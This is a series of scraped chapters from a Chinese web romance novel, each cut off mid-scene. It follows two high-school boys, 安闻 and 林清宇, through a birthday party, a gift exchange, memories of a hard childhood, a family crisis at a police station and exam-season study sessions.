刚才,众人不见,只有林清宇看见,叶笑笑双眸蒙雾,漫出壮士断腕的狠绝。不管众人如何起哄,叶笑笑再不发一言,面色平淡地坐下。此后,再没有一个眼神在林清宇身上停留。 林清宇坐下后,低声跟梁米说了几句话。安闻看见梁米点了点头,站起来出去了。 他扯了扯领口,包间里太热了,衣服糊在身上,有些闷。 齐笛转头,关切地问“怎么了?” 安闻拜托齐笛帮个忙,“包厢里有点热,我这位置不方便出去,你帮我拿点西瓜吧。” 齐笛刚要起身,一大盘西瓜落在安闻面前,梁米看着安闻,实话实说,“林清宇让我来拍拍寿星马屁。” 从烤肉店出来时,已是下午三点。卢远招呼着大家去KTV,叶笑笑说自己有事,谢过安闻盛情款待,就站在路边等出租车,罗晴让大家先走,自己去送一下笑笑,再回来汇合。 安闻回头,看见跟在自己身后的林清宇,一脸诧异,“你不走?” “去哪?”林清宇比安闻还诧异,挑眉失笑,“我又惹你了?” 安闻愣了一下,才反应过来林清宇的意思,他摇了摇头,看着叶笑笑的方向,语气迟疑,“不用送吗?” 这回轮到林清宇愣了。他也看着安闻目光的方向,又看看安闻,眉尾上扬,嘴角一挑,拍着安闻的脑袋,嗤笑道,“这个脑子应该能卖个好价钱。” 安闻没理解什么意思,直觉不是什么好话,翻了他一眼,径直走开了。 这群人,只有安闻和梁米没有喝酒,其他人都有点飘,卢远和王光武更是夸张,吵吵嚷嚷,叫嚣着KTV继续拼。 最尴尬的是,这群人放学就直接出来了,都穿着校服,背着书包。酒气醺醺地走在路上,引得路人频频侧目。 “你也喝酒了?脸这么红?”安闻弯下腰,看梁米恨不能低到地上的头,打趣说。 “没有,我就是不太习惯,他们太吵了,有点丢人。”梁米老实巴交地回答。 “没事,跟我们多出来几次就习惯了。你也别老闷着学习,你看林清宇,”安闻回头瞥了一眼,“他学习那么好,照样抽烟喝酒玩游戏。” “啊?”梁米震惊地抬头,“他抽烟?还打游戏?看不出来啊。” 安闻懒散地回道,“你天天在学校里闷着,能看见什么啊,我在网吧里看见的。” “啊?你还去网吧?”梁米更震惊了,瞪圆眼睛大声说。 安闻朝他眨眨眼睛,把食指放在唇边,一脸坏笑地揽着梁米肩膀说,“嘘,你给我保密,我下次带你去体验一把。” “我不去。”梁米赶紧撇清关系,退开安闻两步远。意识到自己的闪避,梁米又看了一眼周围,向前走两步,低声说“但我会保密的。” 左提右擎地,终于到了KTV,此时已指望不上“总管”卢远,安闻只好自己张罗着开了一个大包,又点了些果盘和酒。 这群人刚喝了一轮,这会儿正是借酒发疯的时候,三五成群,吹牛的,唱歌的,摇骰子的,说掏心话的,倒也不用安闻招呼。他坐在拐角沙发上,闭眼休息。 安闻感觉到有人坐在他身边,他揉揉眉心,睁开双眼,罗晴坐在旁边,笑着跟他打招呼。 KTV里灯光昏暗,罗晴的脸看不真切,应该是风尘仆仆赶回来的,周身散发着热气。安闻也笑着回应,招呼她去玩。 安闻看见她的嘴唇动了动,但KTV 太吵了,安闻一个字没听清。于是他前倾身体,想要凑近听罗晴说话,罗晴抿了嘴唇,低下头。安闻又问了一句,“你刚才说什么?”只见罗晴向后坐了一点,大声说,送你的礼物。 安闻顺着她的手看过去,桌子上放着一个蛋糕,精致小巧,大概只有6寸。却不像普通蛋糕一样用奶油裱花,也没有装扮俗气的塑料玩具。罗晴带来的蛋糕素雅简约,整体是奶白色,造型细高,大概里面夹了三层水果,上面写着,小太阳,17岁生日快乐,“乐”字最后一笔的点画了暖黄色的小太阳代替,没有多余的裱花。 侧面手绘了两个剪影。安闻凑近了些,眯着眼观察,一个剪影穿着8号球服的,两只手举过头顶,手腕下压,正在准备投篮的姿势。一个剪影是一个人站在黑板前面,拿着粉笔在黑板上默写《雨巷》。 众人也被蛋糕吸引,凑了过来。王光武明显是喝大了,正拿着麦克风表演节目,他惊奇得发现,罗晴的蛋糕上的图案有些眼熟。“哎哎哎,这不是你上课画的那两幅画吗?!”麦克风发出刺耳的尖叫,“老范课上画画,还被罚写了两篇作文。” 姚雨桐一把夺下王光武的麦克风,包厢里瞬间清净不少。 “这个是高一篮球赛?” “这个是领读的早自习?” 众人凑过来叽叽喳喳地猜测,这两个剪影发生的场景。 “这是你画的?”安闻侧过头,轻声问罗晴。 13. 喜欢吗? 《身患绝症后拽少对我死缠烂打》全本免费阅读 林清宇看着安闻仓皇的背影,清冷的眸子附上一层暖意,地上的驴还在摇头晃脑,时不时发出“啊呃——啊——啊呃——啊”的声音。 他笑着把地上的包装纸收起来,又从书包里拿出一个小盒子,深蓝色的包装,扁扁的,四四方方的,他盯着看了几秒,抬头看向衣柜,确认是同一个人,然后把小盒子和那些礼物一道,仔仔细细地摆在书桌上。 “这是什么?”安闻冲了澡回来,见桌上有一个尚未拆包装的礼物,疑惑地问。 林清宇合上手中的书,这本《月亮与六便士》,从他第一次来安闻家,每次来就读一点,不知不觉已经读到尾声。 他抬起头,走在安闻旁边,“生日礼物。” “给我的?”安闻反复摩挲包装外皮。 “这屋子里还有别人过生日吗?”林清宇不禁失笑,他靠近了一些,胳膊不小心碰到了安闻的小臂,潮乎乎的,沾着水汽,林清宇能感觉到他的汗毛拂过。 “林清宇,你记得你去年因为什么挨揍吧?”安闻放下手里的小盒子,抬头质问。 却不想,太近了,林清宇身上沐浴露的味道闯入他的鼻尖,和自己身上一样的味道。一瞬间的慌乱,迫使他后退一步,又倔强地抬起头,“林清宇,我说过,不要礼物。” 得,又快炸毛了。 林清宇无奈地撇嘴,“你先别生气,拆开看看。” 安闻狐疑地看了他一眼,从笔筒里抽出裁纸刀,“生日不宜见血,我今天不揍你。” 林清宇忍俊不禁,只示意安闻快点拆礼物。安闻觉得当着别人的面拆礼物,有些别扭。但还是小心翼翼地裁开一层,深蓝色的包装下面,还有一层金黄色的包装。 他抬头,警告地看了一眼林清宇,对方不为所动,只笑着等他继续拆。安闻掂量了一下手感,应该是CD之类的东西。他接着裁开右上角,一个紫粉色的英文字母倒写着映入眼帘,安闻歪着头辨认这几个字母,嘟嘟囔囔地读出来“A-N-I......” “animal!”意识到这是什么,安闻也顾不上小心了,直接撕开包装。 左上角金色的Ke$ha晃得安闻眼睛都溢着光,“真的是《animal》,原版的《animal》,国内买不到的。”他高兴地忘乎所以,一手猛烈地摇着林清宇的胳膊,一手翻来覆去地描摹那几个粉紫色的字母。 “喜欢吗?”林清宇看着安闻眼中的流光溢彩,得意地问。 安闻平静了一下,反问,“你怎么知道我喜欢钱婆?” 林清宇盯着安闻的眼睛,缓慢得挪向安闻的衣柜。 安闻恍然,衣柜上贴着两张钱婆的海报,色彩不够明亮,还露着印刷的白边,看上去就知道是自印的。他难为情地结结巴巴,“《Tik Tok》发行的时候,我没买到原版海报,就自己找了图印,像素有点低。” 林清宇看着安闻亮晶晶的眼睛,戏谑看向安闻手里的专辑,“还准备揍我吗?” 安闻低着头,没说话。林清宇也不急,就在旁边耐心地等着,安闻憋了半天,吭吭哧哧地,憋出来两个字,“谢谢。” 林清宇在脑海中反复回味着这两个字,“这是你第一次和我说谢谢。” 他说话声音很轻,像是对安闻说,更像是自言自语。 安闻听见林清宇的声音从耳畔传来,“生日快乐,安闻。”他感觉到林清宇的呼吸,掺杂着丝丝难寻的酒气。安闻一怔,脸在发烫,他不敢抬头,掩耳盗铃地反复揉搓手里的专辑。 林清宇就那么盯着安闻,看着他的动作,眼中笑意更浓,连眉梢都上扬着,“别搓了,都搓掉色了。喜欢吗?” 安闻轻轻点头。 “安闻,看着我。”林清宇拽过安闻拿着专辑的手,“告诉我,喜欢吗?” 安闻不解地抬起头,再次点了点头,“嗯。” “不要嗯,说话,告诉我,喜欢这个礼物吗?”林清宇没有放开安闻,固执地问道。 安闻感觉林清宇的手很热,手上的力道不轻,恰好挣不开,却又不怎么疼。 他有些恼火,林清宇还在不依不饶,“安闻,喜欢就说出来。你说喜欢,我会很开心。” 安闻垂下睫毛,一半心里想着谁要管你开不开心。一半心里掂量着说喜欢和开心之间的关系。 “不止是我,如果刚才,你当众拆开大家的礼物,然后认真地对着每一个人说喜欢他们的礼物。或者跟罗晴说,你很喜欢她做的蛋糕,我想大家会更开心。” 感受到林清宇的目光灼灼,安闻感觉自己的脸都烧起来。 他的成长环境,很少有温情的时候,他没有学习表达喜恶的参照样本,从小到大,他一直是耻于表达的。 小时候,其他小朋友会直接表达“想要吃冰淇淋”,而他只会和兰胜男说“我渴了。”大概是有一次他这样说,兰胜男满足了他的要求,所以他便沿袭下这样的话术。 可绝大多数时间得到的答复,都是“渴了就喝水。” 夏天穿凉鞋在外面玩,脚后跟扎进去一根锈迹斑斑的钉子,安闻哭着回家,跟兰胜男喊疼。兰胜男数落了他半天,“男孩子哭哭啼啼像什么话”“自己不会注意点嘛”,然后给他拿10块钱去诊所处理。 回了家脚不能沾水,兰胜男每次给他洗脚,还要叨叨他添麻烦。 后来,六七岁的时候,安闻走路摔倒,磕在有棱角的尖锐石头上,膝盖血流如注,安闻不敢回家,怕被兰胜男骂,执着得围着那块石头,找膝盖上掉下来的那块肉。 兰胜男不是不爱安闻。他记得自己要踩着板凳才能够到灶台的时候。兰胜男加班晚归,安闻自己在家,第一次煮挂面,他先煮的面,后打的鸡蛋,甚至因为把握不准量,煮了满满一锅。至今安闻都记得那面酸酸的,涩涩的,也记得兰胜男红了的眼眶。 可安闻当满怀期待,等待夸奖的时候。兰胜男只是一边洗碗,一边念叨他浪费。 即便这样,安闻可以理解,兰胜男一个人养育孩子,琐事缠身,疲于奔命,能让安闻吃饱穿暖,供安闻上学,她是个好妈妈,也是一个伟大的女人,一个人,一双肩膀,撑起安闻的小小天地。 安闻也知道,自己不该矫情,既要兰胜男赚钱养家,又要妈妈的温柔陪伴,两者本就不可兼得。 可小孩子难免有希冀的,一次次落空,安闻也就养成了干脆不说,就不 14. 从头再来 《身患绝症后拽少对我死缠烂打》全本免费阅读 屋子里,只有翻书和敲击手机的声音。 似是过了很久,林清宇这本书看到最后一页,安闻的敲击声也停止许久。 安闻突然开口,“林清宇,谢谢你。” 林清宇呆愣片刻,转过头,看见安闻手机扔在一边,直愣愣地看着天花板,双眼通红,似有水光。 “你别看我平时大大咧咧的,但谁对我好,我心里有数。”安闻的左手用力抠了下床单,仿佛下定决心似的坦言,“我知道你是好心,我也知道,这些年,叔叔明里暗里的帮助,妈妈和我都是知道的。” 安闻的话前言不搭后语,两不相会。但林清宇都听懂了。他克制得攥着桌角,心脏抽痛。安闻却并没有看他,只是平静地看着天花板。 “林清宇,对不起。”他停顿了一下,不知道该怎么继续,心一横,既然开了口,那就索性直白一点,坦诚一点,一次说个明白。 这也是林清宇教的,表达自己,不可耻,也不自私。而且,如果自己说出来,林清宇也会很开心吧,安闻心里怯怯地想。 “可是,我妈妈现在赚钱了,我家条件比以前好很多,我爸......”安闻找了一个觉得合适的词,“......也消停了,一切都在向好的方向发展。你真没必要再照顾我。” 安闻的声音越来越抖,气息也渐渐打颤,“林清宇,我不是烦你,讨厌你。我只是抵触,我不想你可怜我。我不想让你觉得,我是一个软弱的可怜虫。” 声音越来越小,强忍着哽咽,“我不想欠你。” “可是,我已经欠你很多了,不是吗?”他侧了一下脸,把眼泪擦在床单上,自以为神不知鬼不觉。 林清宇看着安闻眼角泛起了红,睫毛湿润,却死撑着。他不知所措,让安闻表达自己,是他的要求,但当安闻真的剖开自己,坦诚相待时,林清宇又不知如何安慰。 苦难太深,慰藉寥寥。 “安闻,我爸照顾你家是他的选择。”他斟酌着开口,语气温柔,“他是他,我是我。我和你虽然认识得晚,但我照顾你,并没有任何你以为的怜悯,只是我想照顾你而已。” 安闻揉揉酸胀的眼睛,抹了一把脸,坐起来,看向林清宇,将信将疑,“早不想,晚不想,偏偏去了一趟派出所,就想照顾我了?” “嗯,良心发现了。”林清宇风轻云淡地避过这个话题。 他并未说谎。 那夜,一家三口刚结束应酬,白月洁就接到了兰胜男的电话,林清宇听不到电话那面,只听白月洁一直应着“嗯”“嗯,好的。”“你先别着急,等我们过去。”“你放心”“我去接他。” 林勇平边开车往派出所赶,一边叮嘱林清宇,“小宇,一会儿接上安闻,你陪他在车上等着,爸爸妈妈处理一下,就带你们回家。” 林清宇不情不愿地应着,心中鄙夷,这一家人又要出什么幺蛾子骗钱。 白月洁满面愁容地看着林勇平,“胜男是造了什么孽啊,摊上这么个烂东西。甩也甩不掉,这辈子都毁了。”林勇平扫了一眼林清宇,用眼神示意白月洁,不要在孩子面前胡说。 “唉,可怜了安闻那孩子,没投好胎,小小年纪,受这么多苦。”白月洁唉声叹气地自言自语,林勇平眉头紧锁,时不时安慰白月洁一两句。 已是晚上10点多,派出所却热闹异常。 传唤室外的走廊里蹲满了人,女人们蹲在东墙,男人们手抱头蹲在西墙。三位民警来回走动,时不时大吼“安静”,也架不住人们交头接耳。 林勇平向大厅的民警说明了来意,白月洁焦灼地环视大厅,搜寻安闻的身影。 透过嘈杂的人声,林清宇隐约听见林勇平和民警的交谈,大概就是安黎明打架斗殴被抓,请家属来调解,能和解最好,不然就要行政拘留。对方如果起诉的话,可能后果更严重些。 林清宇心中不屑,这点小事,劳师动众的,不就是为了让林勇平出钱和解嘛,这一家人真是贪得无厌。爸妈不知道被灌了什么迷魂药,这些年贴了那么多钱。 一位女民警带路,把白月洁母子带到了休息室。兰胜男正在里面坐着,双眼通红,满脸憔悴,几绺头发凌乱地垂在额边。看见白月洁进来,兰胜男的眼泪夺眶而出,白月洁顾不上其他,忙不迭地询问缘由。 “他剽倡。”兰胜男的眼泪还在流,声音却很平静。 白月洁回头看了一眼林清宇,避讳地压低声音问道,“刚才警察没说剽倡啊。” 林清宇拿出耳机,塞进耳朵,坐在距离二人两三米远的塑料凳子上。 “嗯,这次不是因为剽倡。他和那个卖///吟的在谈恋爱。”兰胜男强忍着恶心说完这句话,拽过地上的垃圾桶开始呕吐,她可能晚上没吃什么,什么也没吐出来。 白月洁愣了半天,才消化了兰胜男的这句话。 派出所今晚开展扫黄行动,遇到了在会所打架的安黎明,因为站在他身边的女人是个卖///吟惯犯,警察怀疑他剽倡加寻衅滋事,就一同带回来调查。 警察询问完发现两边口径对得上,两人半年前在会所相识,然后谈起了正经恋爱。这次打架,就是安黎明和卖///吟女之前的客人产生冲突引发的。 安黎明向来不顾家,白月洁以为他只是缺乏责任感,却不想竟恶心到这个程度。 “姐,你去跟老林讲,不要帮他谈和解,让对方起诉,让他进去蹲几年。”兰胜男越说越激动,她站起抹着眼泪大声吼道,“这次他想死就叫他死,我不会拦着。别给他交罚款,让他按最高的天数拘。” 兰胜男的声音惊动了外面的民警,一位民警进来查看情况,白月洁这才反应过来,“胜男,小闻呢?” 兰胜男愣了一下,抹了把眼泪,“他刚才一进来就要去找安黎明拼命,”她从口袋拿出一个黑色的车钥匙,急切地往白月洁手里塞,“姐,我把他锁车里了,你快去看看, 15. 你是弯的? 《身患绝症后拽少对我死缠烂打》全本免费阅读 安闻睡醒的时候,房间里灯光昏暗。他掀开搭在身上的被子,坐起来。看见林清宇坐在台灯下看书。 “你怎么不叫我?”安闻揉了揉惺忪地眼睛,有些尴尬,林清宇还在,而且自己没有喝酒,林清宇喝了酒都清醒着,自己却睡着了。 林清宇听到安闻的声音,转过头来,嘲笑他说,“谁知道你笑着笑着都能睡着。” 安闻看了一眼手机,21:15。“呀!”安闻跳到地上,“你是不是还没有吃饭?” “亏你还能想起来,我都饿过了。”林清宇失笑,语气里带着耍赖,“兰姨还没回来,要不你请我吃饭吧。” “什么?你在讲什么天方夜谭!”安闻瞪着眼睛大叫道。“我中午才请过你,晚上该你请我了。” 睡醒之后的安闻不一样了。林清宇挑了挑眉毛,这就是“朋友”和“普通同学”的区别? 林清宇倒是很乐意请安闻吃饭,毕竟这一年多,无数次热脸贴上去请客,无数次被冷脸扇回来。好不容易得到一次请客的机会,还是安闻主动提出的,林清宇自然千百般愿意。 然而,最后这晚的饭还是安闻请的,确切的说,是安闻做的。 两人准备出门,兰胜男打来电话,叮嘱安闻必须10点前上床睡觉,这么晚了不要出去乱逛。二人无法,只能由安闻说在家随便吃点,不能让林清宇空肚子回家。 只见安闻神神秘秘地回到卧室,蹲在床边,左手扶住床沿,右手使劲向床底探去。林清宇看他够得费劲,也蹲下身子,在他身侧好奇地看着,“需要帮忙吗?” “不用,”安闻探了半天,换了个姿势,趴跪在床边,脑袋伸进床底,屁股撅在外面,“你找不到。” 林清宇轻咳一声,别过脸,看向床上凌乱的被子,下午安闻刚睡过的被子。他感觉有些渴,清了清嗓子站起来,走到厨房,找了个干净的水杯,猛灌一杯冷水。 这时,安闻从房间出来,他手里鼓捣着两包方便面,疑惑地问,“林清宇,你脸怎么这么红?” “额......找了半天就找这个?”林清宇低头喝了一口水,掩饰地岔开话题。 “嗯,我自己偷偷藏的,我妈不让我吃。”安闻在橱柜里翻出一个小锅,又从冰箱里拿出青菜和鸡蛋,“让你开开眼,尝尝安大厨的手艺。” 林清宇抱着水杯,忍俊不禁,向安闻提出要求,“我想吃散蛋。” 安闻扒拉他一下,把他往外推,“去去去,大厨做饭,不容置疑,做啥吃啥。” 林清宇做了一个给嘴拉拉链的手势,放下水杯,抱着胳膊靠在门边。 两个面饼下了锅,在沸水里软化,变形,拥抱彼此,交缠在一起,分不清你我。他嘴角似笑非笑,眼底浮现暖意。 第一次,和安闻一起,吃一个锅出来的东西,这感觉很奇妙。 两碗面煮好,上桌,一模一样,都是溏心蛋,汤里都隐约看出鸡蛋散落,清清白白,落着香菜。林清宇困惑抬头,“你不是不吃香菜?” 安闻笑着眯眯眼,“这你就不懂了吧?”故弄玄虚道,“我只在白天不吃。” “你人格分裂?白天的人格不吃香菜,晚上的人格就可以?”林清宇不明所以,但还是逗趣地说。 “哈哈哈哈哈哈哈哈,林清宇,你脑洞好大,你才人格分裂。”安闻笑得前仰后合,扶着肚子跟林清宇解释,“香菜是感光食物,白天不能吃的。” “白天不能吃?” 看着林清宇拧起眉毛,消化这句话,安闻一拍桌子,“你活得真糙,不愧是钢铁直男。” 安闻翘起二郎腿,得意忘形地继续科普,“黑色素知道吧?”虽是问句,却也没等对面回答,“香菜对阳光比较敏感,吃完遇到光,会使黑色素细胞活力增加。我吃完就睡觉了,所以吃点没关系。” 林清宇刚才就忍不住想问了,但又觉得不礼貌,可是这个问题对他来说太重要了。所以他忍了又忍,压制了半天,到底没有克制住,“所以,你是弯的?”。林清宇藏着些期待,但他实在太会伪装,嬉皮笑脸,似是讪牙闲嗑。 “靠!老子是精致!精致好嘛!”安闻暴跳如雷,从凳子上蹦起来,跺着脚,“我就是随便那么一说,老子也是直的!直的!” “好好好,你先坐下,你说我糙是直男,我还以为你精致就是弯的。你别激动,好像恼羞成怒,被我戳中了似的。”安闻坐下,拿起筷子,非常严肃地说明,“林清宇,我严肃地告诉你,不要拿性向开玩笑。一点儿也不好笑。” “嗯,我错了。以后再也不会了,你是直男,铁直。”林清宇哄他,情绪不明。 看着林清宇用筷子搅着面,迟迟没有入口,安闻抬头问道,“你干嘛不吃?” “有点烫。”林清宇垂头整理情绪,忽然认真地看着安闻,“你喜欢罗晴吗?” “喜欢啊。”安闻用筷子挑起一捋面,吹了吹,漫不经心地,“学习好,性格好,长得也漂亮,咱们班大多数男生都喜欢她吧。”吞下这口面,安闻如数家珍,细说罗晴的优点。 林清宇:“喜欢怎么不追?” 安闻不假思索,“卢远那傻子,喜欢罗晴,天天献殷勤,还以为隐藏地很好,我早就看出来了。” 林清宇步步紧逼,“可是罗晴喜欢你。” 安闻不置可否,低下头,又挑起一口面,吹着气,囫囵进嘴里,只是再抬起头时,嘴角上扬的弧度已经不见。 林清宇挑眉,他感到诧异,罗晴喜欢安闻,他之前只是怀疑,今天才真的敢确认。没想到,安闻竟然也知道。 似是感受到林清宇的诧异,安闻解释道,“我又不是傻的,我知道。” 上学路上经常“偶遇”,跟安闻一起上学,帮安闻打饭,主动给安闻讲错题,不会的题明明可以问小班同学,却总是跨一个班来找安闻。安闻不傻,即使之前是不确定,今天KTV里罗晴的蛋糕,和涨红的脸,足以说明一切。 “知道不追?”林清宇更疑惑了。 “卢远喜欢他。”安闻顿了一下,语气低沉,“朋友妻,不可欺 16. 长期饭票 《身患绝症后拽少对我死缠烂打》全本免费阅读 安闻笑着拍拍林清宇的肩膀,“当然,你可以以朋友的身份心疼我,然后多请我吃几顿饭。” 林清宇低着头一言不发。 安闻在桌下踢了踢林清宇的脚,“林清宇,别这么矫情,都过去了。” “你说,我当时也真够死心眼的,我不能去赊账嘛,或者去邻居家吃饭也行啊,非要在家饿着。而且当时我家电话是欠费了吗?我怎么就没想到给我妈打电话呢。” 安闻倚靠在椅背上,翘着二郎腿,自顾自地说着,说完还自嘲地笑出了声。他见林清宇没有要动的意思,伸手拿起林清宇的碗,进了厨房。 后来,安闻自然没有告诉兰胜男这件事,饿都饿了,还惹兰胜男不痛快,没有必要。而且,那时,安闻是有私心的,他想要一个温暖的,没有争吵的家。跟别的孩子一样,有爸爸和妈妈,完整的家。 安闻正靠在洗菜池边发呆,林清宇进来了,他眼眶有点红,带着鼻音,“安闻,我以朋友的名义,跟你保证。以后绝对不会再让你饿肚子。” “好。”安闻放下手里的碗,看着他,嘴角带着雨过天晴的晴朗,“我以后赖着你,饿了就找你,去你家蹭饭吃。” “行,我家随时都给你备着反,我妈不在家,我也能给你做。”林清宇又想到了什么,“还有,以后你早点走,咱们去学校食堂吃饭吧。你每次在周叔那儿吃饭都鬼鬼祟祟的,去学校食堂,我和你一起。” 安闻看刚才林清宇多愁善感的,才随口答应他去他家吃饭之类的,其实也并不会真的总去。但看样子,林清宇好像是想做自己的长期饭票,他有些犹豫,想拒绝又怕伤了他的好意。 林清宇好像看出了自己的犹疑,他敲了安闻脑袋一下,“AA,我们各付各的。” 安闻展颜轻笑,看着林清宇嘟囔,“嫌我脑子不好使,就不要总虐待它。” 林清宇伸手揉了一下刚才敲的地方,弯着眉眼做保证,“行,我以后不仅好好保护你的肚子,还保护你的脑子。” *** 中秋节后返校当天,两人如约到食堂吃早餐。 林清宇去窗口点餐,安闻占座。没想到安闻屁股刚坐下,就被卢远逮住了。 “安小闻,你学会吃独食了啊。”卢远坐在安闻旁边的空座上。 “你怎么来食堂了?”卢远每天早上都在家吃饭,安闻自然想不到叫他一起吃早饭,没想到,卢远今早也来了食堂,还把自己逮了个正着。 “别提了,家里月饼多得吃不完,我妈早上没做饭,给我和我爸都带的月饼。”他晃了晃背上的书包,反手拍拍,“我来买个豆浆,干吃月饼太噎了。” 安闻瞄了瞄周围,林清宇还在窗口等餐,他赶紧推推卢远,“行了行了,买完赶紧去上课。” “不是,你推我干什么?我等你一会儿呗,又不着急。” “不用不用,我吃饭挺慢的。”安闻再次拒绝了。 卢远好似灵光一闪,悄声说,“你是不是约了姑娘啊?” 安闻一阵心虚,余光见林清宇已经端上托盘了。 “哪有什么姑娘,你还买不买了?”安闻推着催他。 再不走,就要撞上了。 卢远莫名其妙地看着他,转身就走。 安闻松了一口气,心想,吃个饭吃出了偷情的紧张,“呸”安闻一激灵,什么偷情,莫名其妙,偷窃,偷窃的感觉。 “哎,那不是林清宇吗?”卢远去而复返,拍着安闻的肩感叹道,“学霸也来食堂吃饭?” 安闻一阵紧张,林清宇已经端着托盘走过来了,赶人也来不及了。 卢远惊讶地看着林清宇,坐在安闻对面,把两个碗从托盘上端下来,一碗面推给安闻,另一碗馄饨留给自己。然后空托盘被推到卢远跟前时,他才后知后觉地反应过来,“哎呀我去?你俩一起的?” 安闻面露尴尬,认命地点点头。 “这两天发生了什么?!”卢远瞪圆了眼睛,一脸的难以置信,“什么情况?太阳打西边出来了?” “我以前怎么没发现你眼睛这么大呢?”安闻踢了卢远一脚,“买完豆浆赶紧滚。” “我不,你不满足我熊熊燃烧的八卦之心,我就不走了。”卢远死皮赖脸,誓不罢休。 安闻:“我又不是《百问百答》,凭什么满足你的八卦之心。” 林清宇微拧眉头,表明身份,“我们现在是朋友。” 卢远用大拇指指着林清宇,跟安闻得意地说,“你不是《百问百答》,他是。” “你可以走了吗?”林清宇看着卢远,面无表情地又说了一遍,“现在告诉你了,你能走了吗?” 卢远一脸懵逼,安闻“噗呲”一下笑出来。“打脸了吧?还不走?” “我不,你吃的什么?给我吃一口,我要蹭饭。”卢远屁股往里蹭蹭,摆明了要耍赖到底。 “一边儿去,”安闻往远挪了一点,一只手护住碗,看着林清宇,“对了,这是什么?奶味这么重。” “咖喱叻沙方便面。” “咱食堂窗口的新品?我尝尝。”卢远猴儿急地探过手,抢安闻的筷子。刚才还若无其事的林清宇,立马抬头打掉了卢远的手,夺回筷子塞到安闻手里,“他还没吃呢。” “得得得,小气,你俩吃,我再买一碗去。”卢远甩甩手,不愿意了。 “你买不到,最后一碗了。”安闻懒洋洋地声音,传进林清宇的耳朵,他惊讶地抬起头。看见安闻朝自己挑了挑眉,一脸洞察一切的得意。 安闻先是问林清宇要不要尝尝,林清宇摇头表示自己吃过。他就挑起面,吃了一口,把碗推给卢远,“就让你尝一口,赶紧吃,吃完买豆浆去。” 卢远吃了一口,发表评价,“甜了吧唧的,不好吃。” 说完嫌弃地推开,觉得刚才的评价不够深刻,吧咋着嘴又补充道,“就这破玩意,这么早就卖完了?饥饿营销,绝对是饥饿营销,食堂阿姨现在与时俱进啊,营销手段666。” 安闻瞄了一眼林清宇,对方在低头吃馄饨,不为所动。他拉回自己的碗,从书包侧兜掏出饭卡,拍在桌上,“再6 17. 直接一点 《身患绝症后拽少对我死缠烂打》全本免费阅读 安闻觉得自己的时间计算单位不是天、月、年,而是月考、期中考、期末考。 学生按部就班的日子就是飞快,转眼就到了11月中旬,每学期中间那个月份很讨厌,又有月考又有期中考,麻烦得要死。 而且前两次月考,其实就是刘秉航和范玉红联合各科老师搞了个小测试,老师连卷子都没收,就讲卷子的时候,让学生自己判一下。 安闻看过林清宇的语文卷子,每次都有提升,至少默写不再有错别字。 而且经过林清宇的教学,安闻的化学成绩突飞猛进,他自己批了一笔,第一次85分,第二次86分。 安闻觉得自己再努努力,下学期可能会摸到小班的尾巴。 早自习上,刘秉航宣布了两个消息。第一个消息是月考和期中考合并,同学们还没来得及欢呼,第二个消息劈头盖脸而来,浇灭了大家愉悦的热情:本次考试非常严肃,分考场,单人单桌,一天出成绩,排大榜。综合本次考试和期末考试的成绩,下学期决定重新分班的排名。 虽然本次考试不管成绩如何,都不会分班,但是同学们还是很紧张。毕竟,这是文理分科后的第一次正式考试,是对自己成绩的一次摸底。 最紧张的当数齐笛和梁米,而且两人紧张的方式不谋而合,都是揪住同桌给辅导。 梁米盯住林清宇情有可原,毕竟瘦死的骆驼比马大。梁米坐在班级倒数第一的位置上,危机重重,不甘落后,安闻可以理解。 但齐笛拉上自己,安闻是挠破头也想不到理由。自己分班考成绩,比齐笛还低,而且平时也不如齐笛刻苦,安闻实在是不知道,齐笛和他到底谁“师”谁“生”。 安闻以为,林清宇这种学霸级选手是不会在乎期中考试的,可他完全想错。 林清宇非常重视,还问他周末能不能按上课的课程表,一起做卷子。安闻的周末,都是睡到自然醒,然后给林清宇发消息,告诉他自己醒了。林清宇才会到他家,两人凑到一起学习。 林清宇的重视,多少也给了安闻一点紧迫感。所以他同意了,两人周末按照平时课表学习。 但是不巧,两人放学商量去谁家学习的时候,被卢远牌大喇叭听见了。卢远现在学习非常有劲头,因为他只差六名就可以去小班。 然后一传十,十传百,对安闻来说,成也好人缘,败也好人缘。 大家都来找他,求他周末补课加上自己。 安闻硬着头皮,晚自习去后排找林清宇,没拿卷子,低眉顺眼的,一看就是准没好事。 “有话直说,恕你无罪。” 这话放平时,安闻早跳起来了,今天倒是平静,并且,一脸殷勤。 安闻支支吾吾提起补课,林清宇低头写物理卷子,没有搭茬,安闻饶了半天,吭吭哧哧道,“周末带罗晴一个,行吗?” 他想着罗晴是女生,林清宇不好拒绝,就先用罗晴试试水。没想到林清宇一口答应,还点点梁米的卷子,跟安闻等量交换,“正好我也得带着梁米,我答应至少帮他提高5名。” 梁米感激得抬起头,受宠若惊,连声跟林清宇和安闻道谢。 安闻看着林清宇写卷子的笔尖,得寸进尺道,“那带上罗晴了,卢远也要跟着,行吗?” “行。”林清宇干脆地回答,头也没抬。 安闻站在桌边,没看到林清宇的睫毛掩住的情绪。梁米很识趣地站起来,闪了。 安闻从桌边慢慢挪到梁米的椅子上,用手谄媚地捏捏林清宇的胳膊,“那再带上齐笛,行吗?他从四班考上来,总害怕又考回去了。” 林清宇笔尖一顿,沉吟片刻,“行。” 安闻欣喜于林清宇的好说话,“那......” “啪”地一声,林清宇把笔拍在桌子上,声音不大不小,打断了安闻接下来的话。 “安闻,不要蹦豆子,你还要带谁,一起说出来。” 安闻自知理亏,本来两人约好,按着课程表的时间安排做卷子,晚上讲错题。加了几个人,他俩的计划就得改。而且安闻心知肚明,大家是冲林清宇来的,临时抱“学霸”脚,都想让林清宇给考前划划重点。 自己有一种把林清宇卖了的罪恶感。 “也没谁了,再加上齐笛、王光武、徐佑华,姚雨桐自己报了补习班,家里不让她退。”安闻加码,“对了,还有叶笑笑。”以为叶笑笑会是个突破口,他继续游说,“罗晴说叶笑笑也想参加,他们文科班竞争也挺激烈的。” 看见林清宇脸色渐沉,安闻赶紧举起手指,放在脑袋边,保证道,“但是我跟他们说好了,只到下午五点,之后的时间就咱俩。” 他揪起林清宇的校服下摆,轻轻摇晃着打商量,自己都没意识到语气是在撒娇,“咱俩五点结束,吃完饭就回家,我给你补语文,保证补到九点半,比平时还多半个小时,行吗?” 林清宇愣着没动,安闻以为他在生气,又用手戳了戳林清宇腰上的痒痒肉,语气又甜又软,“最多到九点半了,我妈让我十点必须上床,再晚我就没时间洗澡了。” 林清宇侧身靠后,躲开安闻作怪的手指,面色微红,“起开,我出去一下。” 